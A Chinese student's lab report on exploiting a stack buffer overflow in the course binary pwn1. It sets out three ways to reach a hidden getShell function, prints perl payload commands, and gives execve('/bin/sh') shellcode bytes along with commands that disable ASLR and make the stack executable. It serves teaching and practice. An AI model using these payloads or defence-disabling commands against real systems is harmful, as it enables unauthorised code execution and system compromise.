20252811 2025-2026-2 《网络攻防实践》第九周作业
一、 实践内容
1.1 缓冲区溢出攻击基础与防御机制
攻击核心逻辑
缓冲区溢出攻击的本质在于利用程序对内存边界检查的缺失。当程序向栈中固定大小的缓冲区写入超出其容量的数据时,多余的数据会覆盖栈帧中相邻的内存区域。通过精心构造输入数据,攻击者可以覆盖函数的返回地址,使其指向攻击者控制的代码区域,从而劫持程序的执行流程。
防御技术概览
-
DEP :标记内存页为不可执行,阻止攻击者在栈或堆上直接运行注入的代码。
-
ASLR:在程序加载时随机化栈、堆及库函数的基地址,增加攻击者预测目标地址的难度。
-
Stack Canary:在函数返回地址前插入一个随机值,函数返回前校验该值是否被修改,以此检测溢出。
1.2 实践目标与环境
-
目标文件:
pwn1 -
Kali虚拟机:更改主机用户名为本人姓名拼音
-
程序逻辑:主函数
main调用foo函数,foo函数使用不安全的gets函数读取用户输入。程序中隐藏了一个getShell函数,正常流程未调用。 -
攻击目标:通过三种不同方式,强制程序执行
getShell函数,获取系统Shell。
2. 实践过程
2.1 方法一:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
原理:不利用漏洞,直接修改可执行文件的机器码,改变程序的逻辑分支。
-
准备工作:将原始文件复制为学号命名的副本(
pwn20252811),并使用objdump -d pwn20252811 | more进行反汇编分析。
-
定位关键点:在
main函数中,找到调用foo之后的逻辑。原本的指令序列是call foo->add->mov。我们的目标是让foo执行完后不返回main,而是直接跳转。
-
十六进制编辑:
-
使用
vim pwn20252811打开文件,通过:%!xxd切换到十六进制视图。
-
操作:在十六进制视图中,将对应位置的字节,如
d7修改为c3,使得函数返回时直接跳转到getShell的逻辑流中。
-
-
验证:保存退出后再次反汇编,确认程序流已改变,运行程序直接获得
/bin/sh。
2.2 方法二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
实验准备:输入命令
sudo apt install gdb
使用gdb打开pwn文件
gdb pwn20252811_
输入r运行
原理:利用 foo 函数中的栈溢出漏洞,覆盖保存的返回地址,使其指向已有的 getShell 函数。
-
漏洞分析:使用 GDB 调试
pwn20252811。分析foo函数的栈帧结构,发现局部缓冲区大小为0x1c(28) 字节,而gets允许输入任意长度字符串。通过改变输入来获得溢出规律
尝试输入12345678*4 + 1234
得到溢出报错 34 33 32 31,查询可知分别为4321的ASCLL16进制代码
-
计算偏移:
-
缓冲区起始位置:
ebp-0x1c -
返回地址位置:
ebp+0x4 -
填充长度 =
(ebp+0x4) - (ebp-0x1c)=0x20= 32字节结合实践可得出结论,前32位填充,末4位会溢出到返回地址
-
-
构造输入:
-
前 32 字节:填充字符,12345678*4
查看getShell地址
-
后 4 字节:覆盖返回地址。
getShell的地址为0x0804847d,小端序表示为\x7d\x84\x04\x08。
-
-
注入攻击:
-
生成输入文件:
perl -e 'print "填充" x 32 . "\x7d\x84\x04\x08"' > input_overflow。 -
通过管道注入:
(cat input_overflow; cat) | ./pwn20252811。 -
成功获取 Shell。
-
2.3 方法三:注入一个自己制作的shellcode并运行这段shellcode。
原理:在关闭 DEP 和 ASLR 的前提下,将一段自定义的机器码(Shellcode)注入栈中,并覆盖返回地址指向这段代码。
-
环境配置:
-
安装
execstack工具。 -
输入指令
'
wget [http\://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb](http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb) sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb-
设置栈可执行:
execstack -s pwn202528XX。 -
-
关闭 ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space。 -
-
-
调试定位:
-
首先准备shellcode测试文件,输入命令
-
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\ x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89 \xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20252811上面的x90为空指令,这是 6 个 NOP。在漏洞攻击中,它们被用作“着陆区”或“滑行区”。只要程序的返回地址跳转到这些 NOP 中的任意一个,CPU 就会像坐滑梯一样一路执行下去,最终滑到后面的核心代码。
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80-
这是真正的 Shellcode 核心。它是一段编译好的 32 位 Linux 汇编机器码。翻译成汇编语言,它的作用是调用系统的 execve 函数,最终在你的电脑上弹出一个 /bin/sh 交互式Shell
-
随后输入指令(cat input_20252811;cat) | ./pwn1
-
并额外打开终端输入 ps -ef | grep pwn1 查看进程ID,这里是49582
-
-
依次输入如下命令
-
gdb pwn20252801
attach 49582
disassemble foo
break *0x080484ae -
生成断点后输入r运行
-
并输入info r得到栈顶地址ffffcf7c
-
计算Shellcode地址:Shellcode 紧跟在填充数据后,地址为esp+4 ffffcf7c+4 即ffffcf80
-
-
构造输入shellcode
perl -e 'print "A" x 32;print "\x80\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\ xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 \xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x58\xcf\xff\xff\x00"' > input_20252811前4字节为小端存储的Shellcode地址
-
执行攻击:
3. 学习中遇到的问题及解决
问题 1:对于更改输入引发溢出的攻击原理不明确
解决方法:多次修改输入格式,查看报错时的eip值与输入之间的联系以及其他值在输入溢出之后的变化,对规律进行总结进而解决
问题2:对于shellcode文件代码存在疑惑
解决方法:查阅资料,可知代码分为三个部分,中间部分为核心代码,意图为中断并进行系统调用,两端部分经过多次尝试,发现更改字节对于实验结果并没有改变,猜测如果输入正确的话,第一次ls命令不会出现乱码
4. 实践总结
通过本次实验,我深入理解了 Linux 环境下栈缓冲区溢出漏洞的成因与利用机制。在实践过程中,我熟练掌握了 GDB 调试器的核心指令,能够通过对程序进行反汇编分析,精确定位关键函数调用及内存布局。undefined 具体而言,我学会了如何通过计算栈帧偏移量来构造 Payload,并利用十六进制计算精准覆盖返回地址。同时,通过编写和注入 Shellcode,配合 NOP Sled技术,成功实现了对程序执行流的劫持。这一过程不仅巩固了我的汇编语言基础,更让我从底层视角深刻领悟了二进制安全攻防的核心原理。

浙公网安备 33010602011771号